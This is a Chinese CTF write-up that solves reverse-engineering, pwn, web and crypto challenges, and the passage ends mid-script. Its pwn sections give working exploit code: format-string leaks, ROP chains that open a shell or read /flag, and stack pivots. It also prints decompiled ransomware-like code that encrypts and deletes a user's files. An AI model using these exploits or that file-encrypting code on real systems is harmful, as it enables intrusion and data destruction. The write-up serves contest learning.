再clang Dragon.s 在kali上报错了
linux好像不行,windows下
clang Dragon.s -o Dragon.exe

很简单了
提取cipher(unk_14001D330)
cipher = [0xDC63E34E419F7B47, 0x031EF8D4E7B2BFC6,
0x12D62FBC625FD89E, 0x83E8B6E1CC5755E8, 0xFC7BB1EB2AB665CC,
0x9382CA1B2A62D96B, 0xB1FFF8A07673C387, 0x0DA81627388E05E1,
0x9EF1E61AE8D0AAB7, 0x92783FD2E7F26145, 0x63C97CA1F56FE60B,
0x9BD3A8B043B73AAB]


两字节两字节的加密并进行校验
flag为24位这里用z3进行求解
脚本
from z3 import *
enc = [0xDC63E34E419F7B47, 0x031EF8D4E7B2BFC6, 0x12D62FBC625FD89E,
0x83E8B6E1CC5755E8, 0xFC7BB1EB2AB665CC, 0x9382CA1B2A62D96B,
0xB1FFF8A07673C387, 0x0DA81627388E05E1, 0x9EF1E61AE8D0AAB7,
0x92783FD2E7F26145, 0x63C97CA1F56FE60B, 0x9BD3A8B043B73AAB]
flag = [BitVec(f"flag_{i}", 8) for i in range(24)]
s = Solver()
# 定义 Z3 版本的 CRC64 计算
def z3_crc64(byte1, byte2):
crc = BitVecVal(0xFFFFFFFFFFFFFFFF, 64)
poly = BitVecVal(0x42F0E1EBA9EA3693, 64)
crc ^= ZeroExt(56, byte1) << 56
for _ in range(8):
msb = Extract(63, 63, crc) == BitVecVal(1, 1)
crc = If(msb, (crc << 1) ^ poly, crc << 1)
crc ^= ZeroExt(56, byte2) << 56
for _ in range(8):
msb = Extract(63, 63, crc) == BitVecVal(1, 1)
crc = If(msb, (crc << 1) ^ poly, crc << 1)
return crc ^ BitVecVal(0xFFFFFFFFFFFFFFFF, 64)
for i in range(0, 24, 2):
crc = z3_crc64(flag[i], flag[i + 1])
s.add(crc == enc[i // 2])
if s.check() == sat:
m = s.model()
final_flag = "".join(char(m[flag[i]].as_long()) for i in range(24))
print("Flag:", final_flag)
else:
print("No solution found")
# flag{LLVM_1s_Fun_Ri9h7?}
PWN
girlfriend
case3存在fmt,case2存在栈溢出,可以做迁移。那就可以泄露完canary和libc及pie后,在向buf里写rop。0x100字节想干嘛就干嘛,mprotect,openat,sendfile都可以。
def menu(x):
p.sendafter(b'Your Choice:\n',str(x).encode())
def over(x):
menu(1)
p.sendafter(b'what do you want to say to her?\n',x)
def buy():
menu(2)
p.sendafter(b'Do you want to buy her flowers?\n,'b'Y')
def fmt(x):
menu(3)
p.sendafter(b'You should tell her your name first\n',x)
fmt(b'%8$p%7$p%15$p')
p.recvuntil(b'your name:\n')
libc.address = int(rx(14),16)-0x26c000
pie_addr = int(rx(14),16) - 0x18d9
canary = int(rx(18),16)
shellcode_addr = pie_addr + 0x4060
pop_rdi_addr = 0x000000000002a3e5 + libc.address
pop_rsi_addr = 0x000000000002be51 + libc.address
pop_rdx_rbx_addr = 0x00000000000904a9 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
syscall_ret = 0x0000000000091316 + libc.address
leaveret = 0x1706 + pie_addr
mprotect = libc.sym['mprotect']
openat_sendfile = asm(shellcraft.openat(0, "/flag", 0, 0))
openat_sendfile += asm(shellcraft.sendfile(1, 3, 0, 0x30))
buf_addr = 0x4060 + pie_addr
payload = b''
payload += p64(pop_rdi_addr)
payload += p64(buf_addr&~0xFF)
payload += p64(pop_rsi_addr)
payload += p64(0x2000)
payload += p64(pop_rdx_rbx_addr)
payload += p64(7)
payload += p64(0)
payload += p64(mprotect)
payload += p64(0x000000000002b78e+libc.address)
payload += openat_sendfile
fmt(payload)
over(b'a'*0x38+p64(canary)+p64(buf_addr-8)+p64(leaveret))
Ret2libc's Revenge
溢出可以控制数组的索引,索引到ret的位置开始写rop。
缓冲区模式为0,所以需要让执行流一直执行puts("Ret2libc's Revenge")缓冲区满了以后会输出内容,只要提前控制rdi为一个含有libc地址的地址就可以了。拿到libc以后就是ret2libc
用到的gadget
0x00000000004010eb: add rsi, qword ptr [rbp + 0x20]; ret;
0x0000000000401180: mov rdi, rsi; ret;
0x00000000004010E4: and rsi, 0
exp:
bss = elf.bss()
mov_rdi_rsi = 0x401180
call_puts= 0x401294
add_rsi = 0x4010eb
lea_rsi_call_puts = 0x40128D
pop_rbp =0x40117d
payload = b''
payload += b'a'*0x21c
payload += b'\x28'
payload += p64(add_rsi)+p64(mov_rdi_rsi)+p64(call_puts)+p64(0)+p64(0x40128D)+p64(0x5)+p64(0x40128D)
payload += (p64(0)+p64(0x40128D))*0xe3
p.sendline(payload)
sleep(0.5)
p.sendline(b'\x0a'*(0xe3+2))
print('============================================> ')
libc.address = u64(p.recvuntil(b'\x7f',drop=False,timeout=1)[-6:].ljust(8,b'\x00')) - 0x21ca80
pop_rdi_addr = 0x000000000002a3e5 + libc.address
pop_rsi_addr = 0x000000000016333a + libc.address
pop_rdx_r12_addr = 0x000000000011f2e7 + libc.address
pop_rax_addr = 0x0000000000045eb0 + libc.address
syscall_ret_addr = 0x0000000000091316 + libc.address
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
shell = b''
shell += p64(pop_rdi_addr)
shell += p64(bin_sh_addr)
shell += p64(pop_rsi_addr)
shell += p64(0)
shell += p64(pop_rdx_r12_addr)
shell += p64(0)
shell += p64(0)
shell += p64(pop_rax_addr)
shell += p64(59)
shell += p64(syscall_ret_addr)
p.sendline(b'a'*0x21c+b'\x28'+shell)
p.interactive()
明日方舟
输入名字存在溢出,写brp为一个bss地址,劫持retaddr为0x4018ac的位置集训执行read就会在rbp-0x40的位置写上rop。并且还会执行一次leave ret就将栈迁移到了bss。
exp:
def chouka():
p.sendlineafter('欢迎使用明日方舟寻访模拟器!祝你好运~'.encode(),b'\x0a')
p.sendlineafter('请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n'.encode(),b'4')
p.sendlineafter('请选择:[1]向好友炫耀 [2]退出\n'.encode(),b'1')
chouka()
pop_rdi_addr = 0x00000000004018e5
ret_addr = pop_rdi_addr+1
main_addr = 0x401728
leave_ret_addr = 0x401393
bin_sh_addr = 0x405c80
p.recvuntil('请输入你的名字:\n'.encode())
p.send(flat(b'a'*0x40,elf.bss()+0x100,0x4018A8))
s(b'/bin/sh\x00'+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(0x4018FC)+p64(main_addr)*3+p64(0x405d98)+p64(leave_ret_addr))
p.interactive()
EZ3.0
分析:Checksec ,是mips32位小端序程序,开启了NX保护

IDA里面看到,main调用的chall函数存在栈溢出

溢出空间足够写到栈上$sp+0x38的位置,溢出偏移是0x24,就可以溢出覆盖返回地址

继续在IDA里面分析,看到system函数和 /bin/cat /flag.txt

那么我们执行system('/bin/cat /flag.txt')就可以读到flag了,那么我们就需要找一个gadget,将这个字符串作为参数写入$a0中,再执行system,就能获取到flag了

exp:
from pwn import *
context(arch='mips', os='linux', endian='little', word_size=32, log_level='debug')
#p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./EZ3.0"])
io = remote('47.94.217.82',22710)
gadget = 0x400a20
sys_addr = 0x4009ec
cat_flag = 0x411010
payload = b'a' * 0x24 + p32(gadget) + b'a'*4 + p32(sys_addr) +p32(cat_flag)
io.sendlineafter(b'>',payload)
io.recvuntil(b'\n')
io.interactive()

web苦手
通过get请求得到参数,对参数进行解析

一共有三个参数:passwd_re passwd_lo filename
若有passwd_re时会使用自制的哈希算法生成hash值,写入到当前目录的dk.dat里

当没有passwd_re参数时,对passwd_lo进行运算,将lo的hash值与之前写入的re的hash值比较,其中要求re的长度大于64位,lo的值小于64位,可以让lo和re的哈希值第一位为'/0'来绕过。
本地调用程序,爆破出结果。不用分析hash函数

当绕过哈希值比较后,发现目录下有两个flag文件,后缀为.dat的flag文件是假的,使用./././flag格式绕过
爆破hash值:
本地运行程序:
爆破passwd_re
import os
import time
import requests
def getHash(passwd):
os.environ['QUERY_STRING'] = 'passwd_re='+ passwd
os.system('./ld-musl-x86_64.so.1 ./main > /dev/null 2>&1')
with open('dk.dat','rb') as f:
encoded_passwd = f.read()
return encoded_passwd
for i in range(0x200):
passwd = 64*"b" + str(i)
Data = getHash(passwd)
if Data[0] == 0:
print(Data)
print(i)
exit()

爆破passwd_lo
import os
import time
for idx in range(0x200):
os.environ['QUERY_STRING'] = 'passwd_lo=' + str(idx) + '&filename=flag'
output = os.popen('./ld-musl-x86_64.so.1 ./main').read()
if "done" in output:
print(output)
print("Found passwd_lo:", idx)
break

import requests
base_url = 'http://39.106.48.123:23011?'
a = requests.get(base_url + 'passwd_re=' + 'b' * 64 + '11')
b = requests.get(base_url + 'passwd_lo=61&filename=' + './' * 5 + 'flag')
print(b.text)

crypto
勒索病毒

python解包后得到enc和pub
然后反编译一下:
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8
Created on Sun Mar 30 18:25:08 2025
@author: Crypto0
import re
import base64
import os
import sys
from gmssl import sm4
from Crypto.Util.Padding import pad
import binascii
from random import shuffle, randrange
N = 49
p = 3
q = 128
d = 3
assert q > (6 * d + 1) * p
R.<x> = ZZ[]
def generate_T(d1, d2):
assert N >= d1 + d2
s = [1] * d1 + [-1] * d2 + [0] * (N - d1 - d2)
shuffle(s)
return R(s)
def invert_mod_prime(f, p):
Rp = R.change_ring(Integers(p)).quotient(x^N - 1)
return R(lift(1 / Rp(f)))
def convolution(f, g):
return (f * g) % (x^N - 1)
def lift_mod(f, q):
return R([((f[i] + q // 2) % q) - q // 2 for i in range(N)])
def poly_mod(f, q):
return R([f[i] % q for i in range(N)])
def invert_mod_pow2(f, q):
assert q.is_power_of(2)
g = invert_mod_prime(f, 2)
while True:
r = lift_mod(convolution(g, f), q)
if r == 1:
return g
g = lift_mod(convolution(g, 2 - r), q)
def generate_message():
return R([randrange(p) - 1 for _ in range(N)])
def generate_key():
while True:
try:
f = generate_T(d + 1, d)
g = generate_T(d, d)
Fp = poly_mod(invert_mod_prime(f, p), p)
Fq = poly_mod(invert_mod_pow2(f, q), q)
break
except:
continue
h = poly_mod(convolution(Fq, g), q)
return h, (f, g)
def encrypt_message(m, h):
e = lift_mod(p * convolution(h, generate_T(d, d)) + m, q)
return e
def save_ntru_keys():
h, secret = generate_key()
with open("pub_key.txt", "w") as f:
f.write(str(h))
m = generate_message()
with open("priv_key.txt", "w") as f:
f.write(str(m))
e = encrypt_message(m, h)
with open("enc.txt", "w") as f:
f.write(str(e))
def terms(poly_str):
terms = []
pattern = r\'([+-]?\\s*x\\^?\\d*|[-+]?\\s*\\d+)\'
matches = re.finditer(pattern, poly_str.replace(\' \', \'\'))
for match in matches:
term = match.group()
if term == \'+x\' or term == \'x\':
terms.append(1)
elif term == \'-x\':
terms.append(-1)
elif \'x^\' in term:
coeff_part = term.split(\'x^\')[0]
exponent = int(term.split(\'x^\')[1])
if not coeff_part or coeff_part == \'+\':
coeff = 1
elif coeff_part == \'-\':
coeff = -1
else:
coeff = int(coeff_part)
terms.append(coeff * exponent)
elif \'x\' in term:
coeff_part = term.split(\'x\')[0]
if not coeff_part or coeff_part == \'+\':
terms.append(1)
elif coeff_part == \'-\':
terms.append(-1)
else:
terms.append(int(coeff_part))
else:
if term == \'+1\' or term == \'1\':
terms.append(0)
terms.append(-0)
return terms
def gen_key(poly_terms):
binary = [0] * 128
for term in poly_terms:
exponent = abs(term)
if term > 0 and exponent <= 127:
binary[127 - exponent] = 1
binary_str = \'\'.join(map(str, binary))
hex_key = hex(int(binary_str, 2))[2:].upper().zfill(32)
return hex_key
def read_polynomial_from_file(filename):
with open(filename, \'r\') as file:
return file.read().strip()
def sm4_encrypt(key, plaintext):
assert len(key) == 16, "SM4 key must be 16 bytes"
cipher = sm4.CryptSM4()
cipher.set_key(key, sm4.SM4_ENCRYPT)
padded_plaintext = pad(plaintext, 16)
return cipher.crypt_ecb(padded_plaintext)
def sm4_encrypt_file(input_path, output_path, key):
with open(input_path, \'rb\') as f:
plaintext = f.read()
ciphertext = sm4_encrypt(key, plaintext)
with open(output_path, \'wb\') as f:
f.write(ciphertext)
def resource_path(relative_path):
if getattr(sys, \'frozen\', False):
base_path = sys._MEIPASS
else:
base_path = os.path.abspath(".")
return os.path.join(base_path, relative_path)
def encrypt_directory(directory, sm4_key, extensions=[".txt"]):
if not os.path.exists(directory):
print(f"Directory does not exist: {directory}")
return
for root, _, files in os.walk(directory):
for file in files:
if any(file.endswith(ext) for ext in extensions):
input_path = os.path.join(root, file)
output_path = input_path + ".enc"
try:
sm4_encrypt_file(input_path, output_path, sm4_key)
os.remove(input_path)
print(f"Encrypted: {input_path} -> {output_path}")
except Exception as e:
print(f"Error encrypting {input_path}: {str(e)}")
def main():
try:
save_ntru_keys()
poly_str = read_polynomial_from_file("priv_key.txt")
poly_terms = terms(poly_str)
sm4_key = binascii.unhexlify(poly_terms)
user_name = os.getlogin()
target_dir = os.path.join("C:\\Users", user_name, "Desktop", "test_files")
if not os.path.exists(target_dir):
os.makedirs(target_dir, exist_ok=True)
print(f"Created directory: {target_dir}")
return
txt_files = [f for f in os.listdir(target_dir)
if f.endswith(\'.txt\') and os.path.isfile(os.path.join(target_dir, f))]
if not txt_files:
print("No .txt files found in directory")
return
for txt_file in txt_files:
file_path = os.path.join(target_dir, txt_file)
try:
with open(file_path, \'rb\') as f:
test_data = f.read()
ciphertext = sm4_encrypt(sm4_key, test_data)
encrypted_path = file_path + \'.enc\'
with open(encrypted_path, \'wb\') as f:
f.write(ciphertext)
except Exception as e:
print(f"Error processing {txt_file}: {str(e)}")
except Exception as e:
print(f"Fatal error: {str(e)}")
if __name__ == "__main__":
main()
poc:
# -*- coding: utf-8 -*-
import re
import binascii
from gmssl import sm4
from Crypto.Util.Padding import unpad
def parse_poly(poly):
"""提取多项式中正号项的指数值"""
cleaned = poly.replace(' ', '')
if not cleaned.startswith(('+', '-')):
cleaned = '+' + cleaned
pattern = r'([+-])([^+-]+)'
terms = re.findall(pattern, cleaned)
result = []
for sign, body in terms:
positive = sign == '+'
if 'x' not in body:
continue # 跳过常数项
if '^' in body:
try:
exp = int(body.split('^')[1])
if positive:
result.append(exp)
except Exception:
continue
elif body == 'x' and positive:
result.append(1)
return result
def poly_to_key(indices):
"""从指数列表生成 128 位二进制密钥并转换为十六进制字符串"""
bit_array = ['0'] * 128
for idx in indices:
if 0 < idx <= 127:
bit_array[127 - idx] = '1'
binary = ''.join(bit_array)
return hex(int(binary, 2))[2:].upper().zfill(32)
def decrypt_sm4(key_hex, ciphertext_hex):
"""使用 SM4 ECB 模式解密十六进制密文"""
cipher = sm4.CryptSM4()
key_bytes = binascii.unhexlify(key_hex)
data_bytes = binascii.unhexlify(ciphertext_hex)
cipher.set_key(key_bytes, sm4.SM4_DECRYPT)
try:
padded = cipher.crypt_ecb(data_bytes)
unpadded = unpad(padded, 16)
return unpadded.decode('utf-8')
except Exception as err:
print(f"Decryption failed: {err}")
print(f"Raw decrypted bytes: {padded}")
return None
if __name__ == "__main__":
poly_str = "-x^48 - x^46 + x^45 + x^43 - x^42 + x^41 + x^40 + x^36 - x^35 + x^34 - x^33 + x^32 - x^30 + x^29 - x^28 - x^27 - x^26 - x^25 - x^23 - x^22 + x^21 + x^20 + x^19 + x^18 - x^17 - x^16 - x^15 - x^14 - x^12 + x^9 - x^7 - x^6 - x^5 - x^4 + x^3 - x + 1"
exponents = parse_poly(poly_str)
print(f"Extracted positive exponents: {exponents}")
key_hex = poly_to_key(exponents)
print(f"Generated key (hex): {key_hex}")
ciphertext = "bf0cb5cc6bea6146e9c1f109df953a57daa416d38a8ffba6438e7e599613e01f3b9a53dace4ccd55cd3e55ef88e0b835"
flag = decrypt_sm4(key_hex, ciphertext)
if flag:
print(f"\nDecrypted flag: {flag}")
Division
题目源码:
# -*- encoding: utf-8 -*-
'''
@File : server.py
@Time : 2025/03/20 12:25:03
@Author : LamentXU
'''
import random
print('----Welcome to my division calc----')
print('''
menu:
[1] Division calc
[2] Get flag
''')
while True:
choose = input(': >>> ')
if choose == '1':
try:
denominator = int(input('input the denominator: >>> '))
except:
print('INPUT NUMBERS')
continue
nominator = random.getrandbits(32)
if denominator == '0':
print('NO YOU DONT')
continue
else:
print(f'{nominator}//{denominator} = {nominator//denominator}')
elif choose == '2':
try:
ans = input('input the answer: >>> ')
rand1 = random.getrandbits(11000)
rand2 = random.getrandbits(10000)
correct_ans = rand1 // rand2
if correct_ans == int(ans):
print('WOW')
with open('flag', 'r') as f:
print(f'Here is your flag: {f.read()}')
else:
print(f'NOPE, the correct answer is {correct_ans}')
except:
print('INPUT NUMBERS')
else:
print('Invalid choice')
打开后是个很朴素的交互菜单
选项 1 会让你输入一个分母,然后它用一个隐藏的 nominator
除它,打印出来。
但是选项 2 才是真正的入口:会用两个巨大的随机数 rand1 // rand2
来考你,你答对了,就给你 flag。问题是:这两个数都用的是 random.getrandbits()
生成的,而且位数非常大:11000 和 10000 位。
思路:
题目用的是 Python 的 random.getrandbits()
,而它的背后是一个可预测的伪随机数生成器(PRNG),叫做 Mersenne Twister(MT19937)
关键点就是:只要我们拿到 MT19937 的前 624 次输出,就能完整还原它内部状态,然后预测后面的任何输出。
大致流程就是:
1、利用选项 1 连续调用 624 次,输入分母 1,让程序直接把 nominator 打印出来 2、把这 624 个 32 位整数丢进 randcrack 这个库,它会恢复 PRNG 状态
rc = RandCrack()
rc.submit(nominator) # 连续 624 次
填满后就可以 predict_getrandbits(…) 任意位数的随机数了
3、然后用它继续预测两个大数(11000位 和 10000位),拿这两个数一除,就是正确答案
rand1 = rc.predict_getrandbits(11000)
rand2 = rc.predict_getrandbits(10000)
answer = rand1 // rand2
4、最后把这个正确答案交给选项 2,就能够拿到 flag
POC:
# -*- coding: utf-8 -*-
from pwn import remote
from randcrack import RandCrack
import re
print('----Welcome to my division calc----')
print('''
menu:
[1] Division calc
[2] Get flag
''')
# 建立与远程设备的连接
conn = remote('39.106.71.197', 28763)
# 初始化遥测分析器
rc = RandCrack()
for i in range(624):
conn.sendlineafter(b': >>> ', b'1')
conn.sendlineafter(b'input the denominator: >>> ', b'1')
payload = conn.recvline().decode().strip()
print(f"Received line {i+1}: {payload}")
result = re.match(r'(\d+)//\d+ = \d+', payload)
if result:
entropy = int(result.group(1))
rc.submit(entropy)
print(f"Submitted {i+1}/624: {entropy}")
else:
print(f"Error parsing line: {payload}")
conn.close()
exit(1)
print("\nCollected 624 numbers. Predicting...")
try:
future_1 = rc.predict_getrandbits(11000)
future_2 = rc.predict_getrandbits(10000)
solution = future_1 // future_2
print(f"Predicted rand1 (approx): {str(future_1)[:50]}...")
print(f"Predicted rand2 (approx): {str(future_2)[:50]}...")
print(f"Calculated answer: {solution}")
conn.sendlineafter(b': >>> ', b'2')
conn.sendlineafter(b'input the answer: >>> ', str(solution).encode())
flag_data = conn.recvall(timeout=5).decode()
print("\nServer response:")
print(flag_data)
except ValueError as e:
print(f"\nError during prediction or calculation: {e}")
print("Perhaps not enough unique values were collected, or the PRNG isn't MT19937 as expected.")
except Exception as e:
print(f"\nAn unexpected error occurred: {e}")
finally:
conn.close()

Reed
源码:
import string
import random
from secret import flag
assert flag.startswith('XYCTF{') and flag.endswith('}')
flag = flag.rstrip('}').lstrip('XYCTF{')
table = string.ascii_letters + string.digits
assert all(i in table for i in flag)
r = random.Random()
class PRNG:
def __init__(self, seed):
self.a = 1145140
self.b = 19198100
random.seed(seed)
def next(self):
x = random.randint(self.a, self.b)
random.seed(x ** 2 + 1)
return x
def round(self, k):
for _ in range(k):
x = self.next()
return x
def encrypt(msg, a, b):
c = [(a * table.index(m) + b) % 19198111 for m in msg]
return c
seed = int(input('give me seed: '))
prng = PRNG(seed)
a = prng.round(r.randrange(2**16))
b = prng.round(r.randrange(2**16))
enc = encrypt(flag, a, b)
print(enc)
丢给ai分析一下

分析源码后得到PNG生成规则和 加密方式--仿射加密,
同时得到,flag 的前两个字符是一样的(因为相同输入 → 相同输出)!
我们可以利用这个假设来构造两个不同字符位置的加密等式,从而解出 key_a 和 key_b
核心思路:
这题的关键是通过分析密文的加密公式,推导出密钥 a
和 b
的生成规律,然后利用爆破+验证的方式还原它们。
1、复现 PRNG 序列
按题目逻辑,用 seed=1314 生成前 2^16 * 2
步 PRNG 序列;
记录每个值在第几步出现(方便后续验证 key_a 和 key_b 是否来自合法步数);
构建 value -> position
的反查表
2、穷举前两个字符并列出方程
枚举字符表中任意两个不同字符 ch0, ch2;
设它们对应 index 为 i0
和 i2
;
对应密文为 c0 = a*i0 + b
和 c2 = a*i2 + b
消去 b 得到:
a = (c0 - c2) * (i0 - i2)^(-1) % MOD
b = (c0 - a*i0) % MOD
检查解出的 a 和 b 是否来自 PRNG 序列的合法范围内(<= 65536);
3、验证 key_a 出现在前65536步,key_b 出现在它之后的最多65536步内
成功匹配说明密钥合法;
使用其模逆数 a⁻¹
解密密文
4、解密铭文
index = ((cipher - b) * a⁻¹) % mod
char = table[index]
将得到的索引去还原字符,最后再拼出flag
POC:
#!/usr/bin/env python3
import socket
import ast
import string
import random
import math
# ----- 连接参数和常量设置 -----
HOST = "47.94.103.208"
PORT = 22598
seed_input = 1314
modulus = 19198111
charSet = string.ascii_letters + string.digits
charLen = len(charSet)
maxRounds = 2**16
totalSteps = maxRounds * 2
# ----- 连接远程服务并获取密文 -----
print(f"[*] 正在连接 {HOST}:{PORT} ...")
with socket.create_connection((HOST, PORT)) as s:
# 等待提示(例如 "give me seed:")
prompt = s.recv(1024).decode()
print("[*] 收到提示:", prompt.strip())
# 发送种子,注意加上换行符
s.sendall(f"{seed_input}\n".encode())
# 接收密文(假设返回的是一个 Python 格式的列表字符串)
cipher_line = s.recv(4096).decode().strip()
print("[*] 收到密文数据:", cipher_line)
try:
cipher = ast.literal_eval(cipher_line)
except Exception as e:
print("[-] 密文解析失败:", e)
exit(1)
# ----- 根据种子构造 PRNG 序列 -----
print(f"[*] 使用种子 {seed_input} 生成伪随机序列,共 {totalSteps} 步...")
random.seed(seed_input)
lower_bound = 1145140
upper_bound = 19198100
seq_vals = [] # 存储生成的随机数序列(顺序保存)
value_positions = {} # 记录每个输出值出现的1基位置
for step in range(1, totalSteps + 1):
val = random.randint(lower_bound, upper_bound)
random.seed(val ** 2 + 1)
seq_vals.append(val)
if val in value_positions:
value_positions[val].append(step)
else:
value_positions[val] = [step]
print(f"[*] PRNG 序列生成完毕,总步数: {len(seq_vals)}")
uniqueASet = set(seq_vals[:maxRounds])
print(f"[*] 前 {maxRounds} 步中候选 key_a 的唯一值数量: {len(uniqueASet)}")
# ----- 枚举前缀组合求解密钥参数 -----
print("[*] 开始枚举前缀组合以求解密钥参数...")
found = False
key_a = None
key_b = None
# 假设加密过程对 flag 中前几个字符满足线性关系,枚举字符对应在 charSet 中的索引
for idx0, ch0 in enumerate(charSet):
c0 = cipher[0]
# 此处同时读取第二个密文项,用于验证相同前缀假设(不强制要求相等,仅作为信息)
c1 = cipher[1]
print(f" 尝试前缀字符 '{ch0}'(索引 {idx0})")
for idx2, ch2 in enumerate(charSet):
if idx0 == idx2:
continue # 要求两个位置不同,便于消去未知数
c2 = cipher[2]
delta = idx0 - idx2
try:
inv_delta = pow(delta, -1, modulus)
except ValueError:
continue # 当前差值在模意义下不可逆,跳过
candidate_a = (((c0 - c2) % modulus) * inv_delta) % modulus
candidate_b = (c0 - candidate_a * idx0) % modulus
# 只有 candidate_a 出现在前 maxRounds 步的随机数中才有可能是合法密钥
if candidate_a in uniqueASet:
poss_positions = [p for p in value_positions.get(candidate_a, []) if p <= maxRounds]
if not poss_positions:
continue
for pos in poss_positions:
for pos_candidate in value_positions.get(candidate_b, []):
if pos < pos_candidate <= pos + maxRounds and pos_candidate <= totalSteps:
print("\n[+] 找到可能的密钥参数:")
print(f" 前缀字符组合: '{ch0}' 和 '{ch2}'")
print(f" key_a = {candidate_a}, key_b = {candidate_b}")
print(f" 位置:pos_a = {pos},pos_b = {pos_candidate}")
key_a = candidate_a
key_b = candidate_b
found = True
break
if found:
break
if found:
break
if found:
break
if not found:
print("[-] 未能确定密钥参数!")
exit(1)
# ----- 解密过程 -----
print("\n[*] 开始解密密文...")
try:
inv_key_a = pow(key_a, -1, modulus)
except ValueError:
print("[-] key_a 无法求模逆!")
exit(1)
plaintext_chars = []
for num in cipher:
pos = (((num - key_b) % modulus) * inv_key_a) % modulus
if 0 <= pos < charLen:
plaintext_chars.append(charSet[pos])
else:
print(f"[-] 解密错误:计算索引 {pos} 超出范围(对应密文 {num})")
exit(1)
message = "".join(plaintext_chars)
flag = f"XYCTF{{{message}}}"
print("\n[+] 解密成功!")
print("Flag:", flag)


Complex_signin
源码:
from Crypto.Util.number import *
from Crypto.Cipher import ChaCha20
import hashlib
from secret import flag
class Complex:
def __init__(self, re, im):
self.re = re
self.im = im
def __mul__(self, c):
re_ = self.re * c.re - self.im * c.im
im_ = self.re * c.im + self.im * c.re
return Complex(re_, im_)
def __eq__(self, c):
return self.re == c.re and self.im == c.im
def __rshift__(self, m):
return Complex(self.re >> m, self.im >> m)
def __lshift__(self, m):
return Complex(self.re << m, self.im << m)
def __str__(self):
if self.im == 0:
return str(self.re)
elif self.re == 0:
if abs(self.im) == 1:
return f"{'-' if self.im < 0 else ''}i"
else:
return f"{self.im}i"
else:
return f"{self.re} {'+' if self.im > 0 else '-'} {abs(self.im)}i"
def tolist(self):
return [self.re, self.im]
def complex_pow(c, exp, n):
result = Complex(1, 0)
while exp > 0:
if exp & 1:
result = result * c
result.re = result.re % n
result.im = result.im % n
c = c * c
c.re = c.re % n
c.im = c.im % n
exp >>= 1
return result
bits = 128
p = getPrime(1024)
q = getPrime(1024)
n = p * q
m = Complex(getRandomRange(1, n), getRandomRange(1, n))
e = 3
c = complex_pow(m, e, n)
print(f"n = {n}")
print(f"mh = {(m >> bits << bits).tolist()}")
print(f"C = {c.tolist()}")
print(f"enc = {ChaCha20.new(key=hashlib.sha256(str(m.re + m.im).encode()).digest(), nonce=b'Pr3d1ctmyxjj').encrypt(flag)}")
'''
n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753
mh = [3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016, 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552]
C = [5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760, 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752]
enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe'
'''
思路:
利用已知的 m 的高位和密文 c,借助 Coppersmith 方法来恢复 m 的低位部分。因为 m 的低 128 位被截断了,可以构造一个小根问题,通过构造多项式和使用 LLL 约减算法来找到 m 的低位,从而重构出完整的 m。完成这一步后,计算 m.re + m.im,就能生成正确的 ChaCha20 密钥,最后解密 flag。
参数生成与密钥构造:首先生成两个 1024 位素数,计算 n = p * q。接着构造一个复数 m,其实部和虚部都是在 [1, n) 内的随机数
p = getPrime(1024)
q = getPrime(1024)
n = p * q
m = Complex(getRandomRange(1, n), getRandomRange(1, n))
复数幂运算:使用复数乘法(模 n 运算)实现 m 的 3 次幂运算,这相当于对 m 进行加密
e = 3
c = complex_pow(m, e, n)
部分信息泄露:输出 m 的高位部分,即通过右移再左移操作截去低 128 位,暴露了 m 的大部分信息,但低位部分仍然未知
print(f"mh = {(m >> bits << bits).tolist()}")
密钥生成与加密 Flag:用 m 的实部和虚部的和生成密钥(经过 SHA-256)然后用 ChaCha20 加密 flag。解题时恢复 m 后即可重构密钥
key = hashlib.sha256(str(m.re + m.im).encode()).digest()
enc = ChaCha20.new(key=key, nonce=b'Pr3d1ctmyxjj').encrypt(flag)
POC:
import hashlib
from Crypto.Cipher import ChaCha20
from sage.all import *
from binascii import hexlify
# 参数配置
SETTINGS = {
